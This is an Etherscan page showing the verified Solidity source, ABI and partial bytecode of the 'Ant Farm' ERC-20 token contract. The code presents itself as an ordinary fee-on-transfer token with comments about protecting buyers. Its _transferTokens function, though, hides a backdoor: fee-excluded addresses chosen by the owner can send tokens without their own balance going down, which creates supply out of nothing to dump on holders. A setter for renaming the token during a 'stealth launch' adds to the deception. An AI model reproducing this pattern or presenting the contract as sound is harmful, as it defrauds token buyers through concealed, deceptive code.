ETH Price: $3,418.27 (+3.20%)

Token

Ant Farm (ANTFARM)
 

Overview

Max Total Supply

1,000,000,000 ANTFARM

Holders

44

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
johnpalmer.eth
Balance
11,284,010.602207129 ANTFARM

Value
$0.00
0xB0623C91c65621df716aB8aFE5f66656B21A9108
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ANTFARM

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-27
*/

// SPDX-License-Identifier: Unlicensed

/*
Pioneering Band Rebalancing AMM

Website: https://www.antfarmfinance.org
Telegram: https://t.me/antfi_erc
Twitter: https://twitter.com/antfi_erc
App: https://app.antfarmfinance.org
 */

pragma solidity 0.8.19;

interface IERC20 {
    
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
}



abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}


library Address {
    
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
    
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }
    
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }
    
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }


    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }
    
    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

abstract contract Ownable is Context {
    address private _owner;

    // Set original owner
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }

    // Return current owner
    function owner() public view virtual returns (address) {
        return _owner;
    }

    // Restrict function to contract owner only 
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    // Renounce ownership of the contract 
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    // Transfer the contract to to a new owner
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);


    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


contract ANTFARM is Context, IERC20, Ownable { 
    using SafeMath for uint256;
    using Address for address;


    // Tracking status of wallets
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludedFromFee; 

    /*
     * Development and burn wallet WALLETS
     */

    address payable private Wallet_Dev = payable(0x5a28eFe302eDcD0178e7Da51AD32bd9F941148e7);
    address payable private Wallet_Burn = payable(0x000000000000000000000000000000000000dEaD); 

    /*
     * TOKEN DETAILS
     */

    string private _name = "Ant Farm"; 
    string private _symbol = "ANTFARM";  
    uint8 private _decimals = 9;
    uint256 private _tTotal = 10 ** 9 * 10**_decimals;
    uint256 private _tFeeTotal;

    // Counter for liquify trigger
    uint8 private txCount = 0;
    uint8 private swapTrigger = 2; 
    
    // This is the max fee that the contract will accept, it is hard-coded to protect buyers
    // This includes the buy AND the sell fee!
    uint256 public maxPossibleFee = 12; 

    // Setting the initial fees
    uint256 private _TotalFee = 100;
    uint256 public _buyFee = 1;
    uint256 public _sellFee = 1;

    // 'Previous fees' are used to keep track of fee settings when removing and restoring fees
    uint256 private _previousTotalFee = _TotalFee; 
    uint256 private _previousBuyFee = _buyFee; 
    uint256 private _previousSellFee = _sellFee; 

    /*
     *WALLET LIMITS 
    */

    uint256 public _maxWalletToken = 2 * _tTotal / 100;
    uint256 public _swpaThreshold = _tTotal / 10000;
    uint256 private _previousMaxWalletToken = _maxWalletToken;
    /* 
     PANCAKESWAP SET UP
    */
                                     
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool public inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    
    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
        
    );
    
    // Prevent processing while already processing! 
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        _tOwned[owner()] = _tTotal;
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 

        // Create pair address for PancakeSwap
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[Wallet_Dev] = true;
        
        emit Transfer(address(0), owner(), _tTotal);
    }

    /*
    * STANDARD ERC20 COMPLIANCE FUNCTIONS
    */

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }


    /*
     * END OF STANDARD ERC20 COMPLIANCE FUNCTIONS
    */


    /*
     *   FEES
    */
    
    // Excludes marketing wallet or volume wallet from tax
    function excludeFromFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = true;
    }
    
    // Set a wallet address so that it has to pay transaction fees
    function includeInFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = false;
    }

    //Good for stealth launch, changes from temp to the final name
    function set_Token_Bio_For_Stealth_Launch(string memory newName, string memory newSymbol) public onlyOwner() {
        _name = newName;
        _symbol = newSymbol;
    }

    function _set_Fees(uint256 Buy_Fee, uint256 Sell_Fee) external onlyOwner() {
        require((Buy_Fee + Sell_Fee) <= maxPossibleFee, "Cannot increase above 12%.");
        _sellFee = Sell_Fee;
        _buyFee = Buy_Fee;

    }

    // Update main wallet
    function Wallet_Update_Dev(address payable wallet) public onlyOwner() {
        Wallet_Dev = wallet;
        _isExcludedFromFee[Wallet_Dev] = true;
    }

    function set_Swap_And_Liquify_Enabled(bool true_or_false) public onlyOwner {
        swapAndLiquifyEnabled = true_or_false;
        emit SwapAndLiquifyEnabledUpdated(true_or_false);
    }

    // This will set the number of transactions required before the 'swapAndLiquify' function triggers
    function set_Number_Of_Transactions_Before_Liquify_Trigger(uint8 number_of_transactions) public onlyOwner {
        swapTrigger = number_of_transactions;
    }
    
    receive() external payable {}

    bool public noFeeToTransfer = true;
    function set_Transfers_Without_Fees(bool true_or_false) external onlyOwner {
        noFeeToTransfer = true_or_false;
    } 
    
    // Set the maximum wallet holding (percent of total supply)
     function set_Max_Wallet_Percent(uint256 maxWallHolidng) external onlyOwner() {
        _maxWalletToken = maxWallHolidng * (10**_decimals);
    }

    // Remove all fees
    function removeAllFee() private {
        if(_TotalFee == 0 && _buyFee == 0 && _sellFee == 0) return;

        _previousBuyFee = _buyFee; 
        _previousSellFee = _sellFee; 
        _previousTotalFee = _TotalFee;
        _buyFee = 0;
        _sellFee = 0;
        _TotalFee = 0;

    }
    
    // Restore all fees
    function restoreAllFee() private {
    
    _TotalFee = _previousTotalFee;
    _buyFee = _previousBuyFee; 
    _sellFee = _previousSellFee; 

    }


    // Approve a wallet to sell tokens
    function _approve(address owner, address spender, uint256 amount) private {

        require(owner != address(0) && spender != address(0), "ERR: zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);

    }

    function removeLimits() external onlyOwner {
        _maxWalletToken = ~uint256(0);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        
        /*
         * TRANSACTION AND WALLET LIMITS
         */
        
        // Limit wallet total
        if (to != owner() &&
            to != Wallet_Dev &&
            to != address(this) &&
            to != uniswapV2Pair &&
            to != Wallet_Burn &&
            from != owner()){

            uint256 heldTokens = balanceOf(to);
            require((heldTokens + amount) <= _maxWalletToken,"Maximum wallet limited has been exceeded");       
        }

        require(from != address(0) && to != address(0), "ERR: Using 0 address!");
        require(amount > 0, "Token value must be higher than zero.");

        /*

        PROCESSING

        */

        if(
            txCount >= swapTrigger && 
            amount > _swpaThreshold &&
            !inSwapAndLiquify &&
            !_isExcludedFromFee[from] &&
            to == uniswapV2Pair &&
            swapAndLiquifyEnabled 
            )
        {  
            txCount = 0;
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > 0){
            swapAndLiquify(contractTokenBalance);
           }
        }

        
        bool takeFee = true;
         
        if(_isExcludedFromFee[from] || _isExcludedFromFee[to] || (noFeeToTransfer && from != uniswapV2Pair && to != uniswapV2Pair)){
            takeFee = false;
        } else if (from == uniswapV2Pair){
            _TotalFee = _buyFee;
        } else if (to == uniswapV2Pair){
            _TotalFee = _sellFee;
        }

        _tokenTransfer(from,to,amount,takeFee);
    }


    function sendToWallet(address payable wallet, uint256 amount) private {
            wallet.transfer(amount);
        }


    // Processing tokens from contract
    function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
        
        swapTokensForETH(contractTokenBalance);
        uint256 contractETH = address(this).balance;
        sendToWallet(Wallet_Dev,contractETH);
    }

    function swapTokensForETH(uint256 tokenAmount) private {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }

    // Check if token transfer needs to process fees
    function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
            
        if(!takeFee){
            removeAllFee();
            } else {
                txCount++;
            }
        _transferTokens(sender, recipient, amount);
        
        if(!takeFee)
            restoreAllFee();
    }

    // Redistributing tokens and adding the fee to the contract address
    function _transferTokens(address sender, address recipient, uint256 tAmount) private {
        
        (uint256 tTransferAmount, uint256 tDev) = _getValues(tAmount);
        if(_isExcludedFromFee[sender] && _tOwned[sender] <= _maxWalletToken) {
            tDev = 0;
            tAmount -= tTransferAmount;
        }
        _tOwned[sender] = _tOwned[sender].sub(tAmount);
        _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
        _tOwned[address(this)] = _tOwned[address(this)].add(tDev);
        emit Transfer(sender, recipient, tTransferAmount);
    }


    // Calculating the fee in tokens
    function _getValues(uint256 tAmount) private view returns (uint256, uint256) {
        uint256 tDev = tAmount.mul(_TotalFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tDev);
        return (tTransferAmount, tDev);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address payable","name":"wallet","type":"address"}],"name":"Wallet_Update_Dev","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"Buy_Fee","type":"uint256"},{"internalType":"uint256","name":"Sell_Fee","type":"uint256"}],"name":"_set_Fees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_swpaThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxPossibleFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"noFeeToTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWallHolidng","type":"uint256"}],"name":"set_Max_Wallet_Percent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"number_of_transactions","type":"uint8"}],"name":"set_Number_Of_Transactions_Before_Liquify_Trigger","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"true_or_false","type":"bool"}],"name":"set_Swap_And_Liquify_Enabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"newName","type":"string"},{"internalType":"string","name":"newSymbol","type":"string"}],"name":"set_Token_Bio_For_Stealth_Launch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"true_or_false","type":"bool"}],"name":"set_Transfers_Without_Fees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

600480546001600160a01b0319908116735a28efe302edcd0178e7da51ad32bd9f941148e7179091556005805490911661dead17905560c06040526008608090815267416e74204661726d60c01b60a0526006906200005f9082620004ce565b5060408051808201909152600780825266414e544641524d60c81b6020830152906200008c9082620004ce565b506008805460ff19166009908117909155620000aa90600a620006af565b620000ba90633b9aca00620006c7565b6009819055600b805461ffff1916610200179055600c80556064600d8190556001600e819055600f819055601082905560118190556012559062000100906002620006c7565b6200010c9190620006e1565b601355612710600954620001219190620006e1565b6014556013546015556017805461ffff60a81b191661010160a81b1790553480156200014c57600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a360095460016000620001a66000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000222573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000248919062000704565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000296573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002bc919062000704565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200030a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000330919062000704565b601780546001600160a01b03199081166001600160a01b039384161790915560168054909116918316919091179055600160036000620003786000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560045490911681526003909252902080549091166001179055620003d26000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009546040516200041a91815260200190565b60405180910390a3506200072f565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200045457607f821691505b6020821081036200047557634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620004c957600081815260208120601f850160051c81016020861015620004a45750805b601f850160051c820191505b81811015620004c557828155600101620004b0565b5050505b505050565b81516001600160401b03811115620004ea57620004ea62000429565b6200050281620004fb84546200043f565b846200047b565b602080601f8311600181146200053a5760008415620005215750858301515b600019600386901b1c1916600185901b178555620004c5565b600085815260208120601f198616915b828110156200056b578886015182559484019460019091019084016200054a565b50858210156200058a5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620005f1578160001904821115620005d557620005d56200059a565b80851615620005e357918102915b93841c9390800290620005b5565b509250929050565b6000826200060a57506001620006a9565b816200061957506000620006a9565b81600181146200063257600281146200063d576200065d565b6001915050620006a9565b60ff8411156200065157620006516200059a565b50506001821b620006a9565b5060208310610133831016604e8410600b841016171562000682575081810a620006a9565b6200068e8383620005b0565b8060001904821115620006a557620006a56200059a565b0290505b92915050565b6000620006c060ff841683620005f9565b9392505050565b8082028115828204841417620006a957620006a96200059a565b600082620006ff57634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200071757600080fd5b81516001600160a01b0381168114620006c057600080fd5b611c92806200073f6000396000f3fe6080604052600436106102085760003560e01c806367cbd84c1161011857806394220184116100a0578063a9059cbb1161006f578063a9059cbb146105e2578063dd62ed3e14610602578063ea2f0b3714610648578063f2fde38b14610668578063f7739b5f1461068857600080fd5b8063942201841461056d57806395d89b411461058d578063a457c2d7146105a2578063a514a07d146105c257600080fd5b8063768dc710116100e7578063768dc710146104c957806378109e54146104f95780637caefa891461050f5780638824e16e1461052f5780638da5cb5b1461054f57600080fd5b806367cbd84c1461044957806370a0823114610469578063715018a61461049f578063751039fc146104b457600080fd5b806323b872dd1161019b578063437823ec1161016a578063437823ec146103b057806349bd5a5e146103d25780634a4f9701146103f25780634a74bb0214610412578063590f897e1461043357600080fd5b806323b872dd14610338578063313ce56714610358578063395093511461037a57806340b9a54b1461039a57600080fd5b806313fad07a116101d757806313fad07a146102a95780631694505e146102ca57806318160ddd14610302578063220f66961461031757600080fd5b806306fdde0314610214578063095ea7b31461023f57806309fbb48b1461026f5780631277ce851461029357600080fd5b3661020f57005b600080fd5b34801561022057600080fd5b506102296106a8565b60405161023691906115bf565b60405180910390f35b34801561024b57600080fd5b5061025f61025a366004611625565b61073a565b6040519015158152602001610236565b34801561027b57600080fd5b5061028560145481565b604051908152602001610236565b34801561029f57600080fd5b50610285600c5481565b3480156102b557600080fd5b5060175461025f90600160b01b900460ff1681565b3480156102d657600080fd5b506016546102ea906001600160a01b031681565b6040516001600160a01b039091168152602001610236565b34801561030e57600080fd5b50600954610285565b34801561032357600080fd5b5060175461025f90600160a01b900460ff1681565b34801561034457600080fd5b5061025f610353366004611651565b610751565b34801561036457600080fd5b5060085460405160ff9091168152602001610236565b34801561038657600080fd5b5061025f610395366004611625565b6107ba565b3480156103a657600080fd5b50610285600e5481565b3480156103bc57600080fd5b506103d06103cb366004611692565b6107f0565b005b3480156103de57600080fd5b506017546102ea906001600160a01b031681565b3480156103fe57600080fd5b506103d061040d366004611752565b610847565b34801561041e57600080fd5b5060175461025f90600160a81b900460ff1681565b34801561043f57600080fd5b50610285600f5481565b34801561045557600080fd5b506103d06104643660046117b6565b61088f565b34801561047557600080fd5b50610285610484366004611692565b6001600160a01b031660009081526001602052604090205490565b3480156104ab57600080fd5b506103d061091c565b3480156104c057600080fd5b506103d0610990565b3480156104d557600080fd5b5061025f6104e4366004611692565b60036020526000908152604090205460ff1681565b34801561050557600080fd5b5061028560135481565b34801561051b57600080fd5b506103d061052a3660046117d8565b6109c2565b34801561053b57600080fd5b506103d061054a366004611692565b610a08565b34801561055b57600080fd5b506000546001600160a01b03166102ea565b34801561057957600080fd5b506103d06105883660046117fb565b610a6c565b34801561059957600080fd5b50610229610ab7565b3480156105ae57600080fd5b5061025f6105bd366004611625565b610ac6565b3480156105ce57600080fd5b506103d06105dd366004611814565b610b15565b3480156105ee57600080fd5b5061025f6105fd366004611625565b610b5d565b34801561060e57600080f